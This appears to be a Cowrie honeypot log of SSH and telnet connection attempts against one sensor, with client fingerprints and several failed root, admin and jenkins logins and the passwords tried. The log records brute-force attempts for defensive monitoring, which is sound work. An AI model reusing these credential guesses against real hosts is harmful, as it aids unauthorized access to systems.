{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":40376,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b119b0e4a27","protocol":"ssh","message":"New connection: 103.82.132.16:40376 (159.203.135.109:22) [session: 1b119b0e4a27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:33:41.688820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:33:41.698440Z","src_ip":"103.82.132.16","session":"1b119b0e4a27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:33:41.951735Z","src_ip":"103.82.132.16","session":"1b119b0e4a27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"130689","message":"login attempt [root/130689] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:33:42.711265Z","src_ip":"103.82.132.16","session":"1b119b0e4a27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.102.228","src_port":41246,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea6f9855c10d","protocol":"ssh","message":"New connection: 161.97.102.228:41246 (159.203.135.109:22) [session: ea6f9855c10d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:33:42.822101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:33:42.827293Z","src_ip":"161.97.102.228","session":"ea6f9855c10d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:33:42.922499Z","src_ip":"161.97.102.228","session":"ea6f9855c10d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":52706,"dst_ip":"159.203.135.109","dst_port":23,"session":"736d238a30b3","protocol":"telnet","message":"New connection: 135.148.14.151:52706 (159.203.135.109:23) [session: 736d238a30b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:33:43.149781Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#123QWEqwe","message":"login attempt [root/!@#123QWEqwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:33:43.326246Z","src_ip":"161.97.102.228","session":"ea6f9855c10d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:33:43.966600Z","src_ip":"103.82.132.16","session":"1b119b0e4a27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:33:44.422716Z","src_ip":"161.97.102.228","session":"ea6f9855c10d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.187","src_port":26196,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c6df3abc437","protocol":"telnet","message":"New connection: 66.132.172.187:26196 (159.203.135.109:23) [session: 6c6df3abc437]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:33:55.331202Z"}
{"eventid":"cowrie.session.closed","duration":35.694217681884766,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:34:06.205598Z","src_ip":"135.148.14.151","session":"5248f2f110a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.209731101989746,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:34:07.674493Z","src_ip":"135.148.14.151","session":"1e2d4408ba15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.139259338378906,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:34:12.470328Z","src_ip":"66.132.172.187","session":"6c6df3abc437","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.239.84.249","src_port":50704,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd819c01b699","protocol":"ssh","message":"New connection: 185.239.84.249:50704 (159.203.135.109:22) [session: bd819c01b699]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:34:13.216600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:34:13.221742Z","src_ip":"185.239.84.249","session":"bd819c01b699","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:34:13.425719Z","src_ip":"185.239.84.249","session":"bd819c01b699","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"123","message":"login attempt [jenkins/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:34:13.837082Z","src_ip":"185.239.84.249","session":"bd819c01b699","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:34:15.041919Z","src_ip":"185.239.84.249","session":"bd819c01b699","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.224.234","src_port":24732,"dst_ip":"159.203.135.109","dst_port":23,"session":"80ee854ade1c","protocol":"telnet","message":"New connection: 66.132.224.234:24732 (159.203.135.109:23) [session: 80ee854ade1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:34:17.638546Z"}
{"eventid":"cowrie.session.closed","duration":34.66426753997803,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:34:17.813834Z","src_ip":"135.148.14.151","session":"736d238a30b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.187","src_port":31556,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bf4d59f760f","protocol":"telnet","message":"New connection: 66.132.172.187:31556 (159.203.135.109:23) [session: 0bf4d59f760f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:34:18.007571Z"}
{"eventid":"cowrie.session.closed","duration":3.8073904514312744,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:34:21.814717Z","src_ip":"66.132.172.187","session":"0bf4d59f760f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":39812,"dst_ip":"159.203.135.109","dst_port":23,"session":"70ace3502160","protocol":"telnet","message":"New connection: 135.148.14.151:39812 (159.203.135.109:23) [session: 70ace3502160]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:34:22.128843Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.187","src_port":57462,"dst_ip":"159.203.135.109","dst_port":23,"session":"63535a63f809","protocol":"telnet","message":"New connection: 66.132.172.187:57462 (159.203.135.109:23) [session: 63535a63f809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:34:28.136082Z"}
{"eventid":"cowrie.session.closed","duration":15.595333337783813,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:34:33.233772Z","src_ip":"66.132.224.234","session":"80ee854ade1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.224.234","src_port":16824,"dst_ip":"159.203.135.109","dst_port":23,"session":"959333a99956","protocol":"telnet","message":"New connection: 66.132.224.234:16824 (159.203.135.109:23) [session: 959333a99956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:34:37.549675Z"}
{"eventid":"cowrie.session.closed","duration":10.485903024673462,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:34:38.621880Z","src_ip":"66.132.172.187","session":"63535a63f809","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.280216455459595,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:34:41.829752Z","src_ip":"66.132.224.234","session":"959333a99956","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.191","src_port":9082,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ece8e2f94f2","protocol":"telnet","message":"New connection: 66.132.186.191:9082 (159.203.135.109:23) [session: 7ece8e2f94f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:34:42.127790Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.224.234","src_port":23356,"dst_ip":"159.203.135.109","dst_port":23,"session":"e56ce6a21ad4","protocol":"telnet","message":"New connection: 66.132.224.234:23356 (159.203.135.109:23) [session: e56ce6a21ad4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:34:47.794895Z"}
{"eventid":"cowrie.session.closed","duration":31.05428123474121,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:34:53.182975Z","src_ip":"135.148.14.151","session":"70ace3502160","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.503412246704102,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:34:57.630865Z","src_ip":"66.132.186.191","session":"7ece8e2f94f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.522576093673706,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:34:58.317347Z","src_ip":"66.132.224.234","session":"e56ce6a21ad4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":54306,"dst_ip":"159.203.135.109","dst_port":22,"session":"7006ea7f7071","protocol":"ssh","message":"New connection: 103.77.242.62:54306 (159.203.135.109:22) [session: 7006ea7f7071]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:35:03.196481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:35:03.202368Z","src_ip":"103.77.242.62","session":"7006ea7f7071","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:35:03.465307Z","src_ip":"103.77.242.62","session":"7006ea7f7071","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"03031990","message":"login attempt [root/03031990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:35:04.206493Z","src_ip":"103.77.242.62","session":"7006ea7f7071","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:35:05.454812Z","src_ip":"103.77.242.62","session":"7006ea7f7071","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":35738,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf8303340b24","protocol":"telnet","message":"New connection: 135.148.14.151:35738 (159.203.135.109:23) [session: bf8303340b24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:35:10.015150Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.102.228","src_port":33990,"dst_ip":"159.203.135.109","dst_port":22,"session":"4582321e7974","protocol":"ssh","message":"New connection: 161.97.102.228:33990 (159.203.135.109:22) [session: 4582321e7974]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:35:23.421605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:35:23.432318Z","src_ip":"161.97.102.228","session":"4582321e7974","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:35:23.526685Z","src_ip":"161.97.102.228","session":"4582321e7974","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"fjbdfdjkdsfs541544","message":"login attempt [admin/fjbdfdjkdsfs541544] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:35:23.939007Z","src_ip":"161.97.102.228","session":"4582321e7974","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:35:25.036629Z","src_ip":"161.97.102.228","session":"4582321e7974","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.239.84.249","src_port":40556,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5f17504f7d2","protocol":"ssh","message":"New connection: 185.239.84.249:40556 (159.203.135.109:22) [session: b5f17504f7d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:35:43.082049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:35:43.087173Z","src_ip":"185.239.84.249","session":"b5f17504f7d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:35:43.290068Z","src_ip":"185.239.84.249","session":"b5f17504f7d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA@123456","message":"login attempt [root/aA@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:35:43.895401Z","src_ip":"185.239.84.249","session":"b5f17504f7d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:35:45.101795Z","src_ip":"185.239.84.249","session":"b5f17504f7d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.30805325508118,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:35:47.323089Z","src_ip":"135.148.14.151","session":"bf8303340b24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.191","src_port":3954,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c61b50db344","protocol":"telnet","message":"New connection: 66.132.186.191:3954 (159.203.135.109:23) [session: 6c61b50db344]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:35:52.284838Z"}
{"eventid":"cowrie.session.closed","duration":3.747161388397217,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:35:56.031835Z","src_ip":"66.132.186.191","session":"6c61b50db344","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.191","src_port":16686,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2d0e2f18bbe","protocol":"telnet","message":"New connection: 66.132.186.191:16686 (159.203.135.109:23) [session: e2d0e2f18bbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:36:00.226256Z"}
